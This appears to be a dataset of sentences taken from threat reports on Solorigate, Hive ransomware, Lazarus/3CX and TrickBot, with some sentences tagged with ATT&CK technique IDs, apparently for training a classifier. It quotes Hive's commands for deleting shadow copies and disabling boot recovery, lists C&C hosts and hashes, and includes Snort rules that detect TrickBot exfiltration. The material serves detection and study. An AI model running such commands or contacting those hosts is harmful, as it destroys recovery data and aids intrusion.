Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It quarantines malware, even if the process is running.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files: Trojan:MSIL/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "SA!dha Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information: Trojan:PowerShell/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "H!dha Figure 9.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Microsoft Defender for Endpoint prevented malicious binaries Endpoint detection and response (EDR)", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Threat analytics report We published a comprehensive threat analytics report on this incident.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "This then delivers a malicious payload via a PowerShell downloader script.", "labels": ["T1027"], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "second element of this botnet campaign involves the use of a spam tool, researchers explained.", "labels": [], "doc_title": "Horabot campaign targeted businesses for more than two years before finally being discovered"} {"sentence": "Prioritize remediating known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Victims of ransomware operations should report the incident to their local FBI field office or CISA.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "[T1059] [T1490].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "[T1070].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "During the encryption process, a file named *.key (previously *.key.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "*) is created in the root directory (C:\\ or /root/).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "SHADOWCOPY /nointeractive wmic.exe shadowcopy delete bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no Table 3:", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Potential IOC IP Addresses as of November 2022 Note: Some of these observed IP addresses are more than a year old.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Table 4: Hive Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Exploit Public-Facing Application T1190 Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Install updates for operating systems, software, and firmware as soon as they are released.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Consider leveraging a centralized patch management system to automate and expedite the process.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "If used, secure and monitor RDP.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": ", Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Power-off and segregate (i.e., remove from the network) the infected computer(s).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Implement multiple failed login attempt account lockouts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Privilege escalation and lateral movement often depend on software utilities running from the command line.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"} {"sentence": "Operation DreamJob is the name for a series of campaigns where the group uses social engineering techniques to compromise its targets, with fake job offers as the lure.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload: the SimplexTea Linux backdoor distributed through an OpenDrive cloud storage account.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Additionally, this discovery helped us confirm with a high level of confidence that the recent 3CX supply-chain attack was in fact conducted by Lazarus – a link that was suspected from the very beginning and demonstrated by several security researchers since.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "It provides client software to use its systems via a web browser, mobile app, or a desktop application.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Late in March 2023, it was discovered that the desktop application for both Windows and macOS contained malicious code that enabled a group of attackers to download and run arbitrary code on all machines where the application was installed.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "The intermediate stages are downloaders for Windows and macOS that we denote as IconicLoaders, and the payloads they get as IconicStealer and UpdateAgent, respectively.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "This is because the apparent dot character in the filename is a leader dot represented by the U+2024 Unicode character.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "On execution, a decoy PDF is displayed to the user using xdg-open, which will open the document using the user’s preferred PDF viewer (see Figure 3).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "We call this second-stage backdoor SimplexTea.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "How is sysnetd related to Lazarus?", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "BADCALL for Linux We attribute sysnetd to Lazarus because of its similarities with the following two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL):", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Loading a configuration file by BADCALL for Linux, cf.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "The decryption routine shared between the BADCALL for Linux and targeted destructive malware for Windows from 2014 Additional attribution data points To recap what we’ve covered so far, we attribute the 3CX supply-chain attack to the Lazarus group with a high level of confidence.", "labels": ["T1140"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "This is based on the following factors: Malware (the intrusion set): The IconicLoader (samcli.dll) uses the same type of strong encryption – AES-GCM – as SimplexTea (whose attribution to Lazarus was established via the similarity with BALLCALL for Linux); only the keys and initialization vectors differ.", "labels": ["T1027"], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Figure 6 Infrastructure: There is shared network infrastructure with SimplexTea, as it uses https://journalide[.]org/djour.php as it C&C, whose domain is reported in the official results of the incident response of the 3CX compromise by Mandiant.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "The stealthiness of a supply-chain attack makes this method of distributing malware very appealing from an attacker’s perspective.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Similarities with existing malware from the Lazarus toolset and with the group’s typical techniques strongly suggest the recent 3CX compromise is the work of Lazarus as well.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "It is also interesting to note that Lazarus can produce and use malware for all major desktop operating systems: Windows, macOS, and Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "EA ZIP archive with a Linux payload, from VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "E PE compilation timestampN/A", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "First seen2023-02-01 23:47:05 MD5AAC5A52B939F3FE792726A13FF7A1747 SHA-1F6760FB1F8B019AF2304EA6410001B63A1809F1D SHA-256CC307CFB401D1AE616445E78B610AB72E1C7FB49B298EA003DD26EA80372089A Filenamesysnetd DescriptionBADCALL for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "C&Ctcp://23.254.211[.]230 Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Resource DevelopmentT1584.001Acquire Infrastructure:", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "DomainsUnlike many previous cases of compromised C&Cs used in Operation DreamJob, Lazarus operators registered their own domain for the Linux target.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "T1587.001Develop Capabilities: MalwareCustom tools from the attack are very likely developed by the attackers.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Symmetric CryptographySimplexTea encrypts C&C traffic using the AES-GCM algorithm.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "Over C2 ChannelSimplexTea can exfiltrate data as ZIP archives to its C&C server.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "<= 14} 20 Apr 2023 - 11:30AM", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"} {"sentence": "The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have observed continued targeting through spearphishing campaigns using TrickBot malware in North America.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Phishing: Spearphishing Link", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "(User Execution: Malicious Link [T1204.001], User Execution: Malicious File [T1204.002]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Additionally, some of TrickBot’s modules spread the malware laterally across a network by abusing the Server Message Block (SMB) Protocol.", "labels": ["T1570"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Spearphishing Attachment T1566.001 TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware.", "labels": ["T1566.001"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Obfuscated Files or Information: Software Packing T1027.002 TrickBot leverages a custom packer to obfuscate its functionality.", "labels": ["T1027"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Deobfuscate/Decode Files or Information T1140 TrickBot decodes the configuration data and modules.", "labels": ["T1140"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Additionally, it searches for the .vnc.lnk affix to steal VNC credentials.", "labels": ["T1552.001"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Remote System Discovery T1018 TrickBot can enumerate computers and network devices.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "System Owner/User Discovery T1033 TrickBot can identify the user and groups the user belongs to on a compromised host.", "labels": ["T1033"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Account Discovery: Local Account T1087.001 TrickBot collects the users of the system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Account Discovery: Email Account T1087.003 TrickBot collects email addresses from Outlook.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Collection [TA0009] Technique Tactic ID Use Data from Local System T1005 TrickBot collects local files and information from the victim’s local machine.", "labels": ["T1005"], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Data Encoding: Standard Encoding T1132.001 TrickBot can Base64-encode C2 commands.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "\"; sid:1; rev:1; flow:established,to_server; content:\"User-Agent|3a 20|WinHTTP loader/1.\"; http_header; fast_pattern:only; content:\".png|20|HTTP/1.\"; pcre:\"/^Host\\x3a\\x20(?:\\d{1,3}\\.){3}\\d{1,3}(?:\\x3a\\d{2,5})?$/mH\"; content:!\"Accept\"; http_header; content:!\"Referer|3a 20|\"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any $HTTP_PORTS -> any any (msg:\"TRICKBOT:HTTP Server Header contains 'Server|3a 20|Cowboy'\"; sid:1; rev:1; flow:established,from_server; content:\"200\"; http_stat_code; content:\"Server|3a 20|Cowboy|0d 0a|\"; http_header; fast_pattern; content:\"content-length|3a 20|3|0d 0a|\"; http_header; file_data; content:\"/1/\"; depth:3; isdataat:!1,relative; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP URI POST contains C2 Exfil\"; sid:1; rev:1; flow:established,to_server; content:\"Content-Type|3a 20|multipart/form-data|3b 20|boundary=------Boundary\"; http_header; fast_pattern; content:\"User-Agent|3a 20|\"; http_header; distance:0; content:\"Content-Length|3a 20|\"; http_header; distance:0; content:\"POST\"; http_method; pcre:\"/^\\/[a-z]{3}\\d{3}\\/.+?\\.[A-F0-9]{32}\\/\\d{1,3}\\//U\"; pcre:\"/^Host\\x3a\\x20(?:\\d{1,3}\\.){3}\\d{1,3}$/mH\"; content:!\"Referer|3a|\"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP URI GET/POST contains '/56evcxv' (Trickbot)\"; sid:1; rev:1; flow:established,to_server; content:\"/56evcxv\"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;) alert icmp any any -> any any (msg:\"TRICKBOT_ICMP_ANCHOR:ICMP traffic conatins 'hanc'\"; sid:1; rev:1; itype:8; content:\"hanc\"; offset:4; fast_pattern; classtype:bad-unknown;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP Client Header contains POST with 'host|3a 20|*.onion.link' and 'data=' (Trickbot/Princess Ransomeware)\"; sid:1; rev:1; flow:established,to_server; content:\"POST\"; nocase; http_method; content:\"host|3a 20|\"; http_header; content:\".onion.link\"; nocase; http_header; distance:0; within:47; fast_pattern; file_data; content:\"data=\"; distance:0; within:5; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP Client Header contains 'host|3a 20|tpsci.com' (trickbot)\"; sid:1; rev:1; flow:established,to_server; content:\"host|3a 20|tpsci.com\"; http_header; fast_pattern:only; classtype:bad-unknown; metadata:service http;) MitigationsCISA and FBI recommend that network defenders—in federal, state, local, tribal, territorial governments, and the private sector—consider applying the following best practices to strengthen the security posture of their organization's systems.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Ensure that such technology only allows authorized, digitally signed scripts to run on a system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "Disable the use of SMBv1 across the network and require at least SMBv2 to harden systems against network propagation modules used by TrickBot.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "See CISA’s Alert on Technical Approaches to Uncovering and Remediating Malicious Activity for more information on addressing potential incidents and applying best practice incident response procedures.", "labels": [], "doc_title": "AA21076A TrickBot Malware"} {"sentence": "For additional information on malware incident prevention and handling, see the National Institute of Standards and Technology Special Publication 800-83, Guide to Malware Incident Prevention and Handling for Desktops and Laptops.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}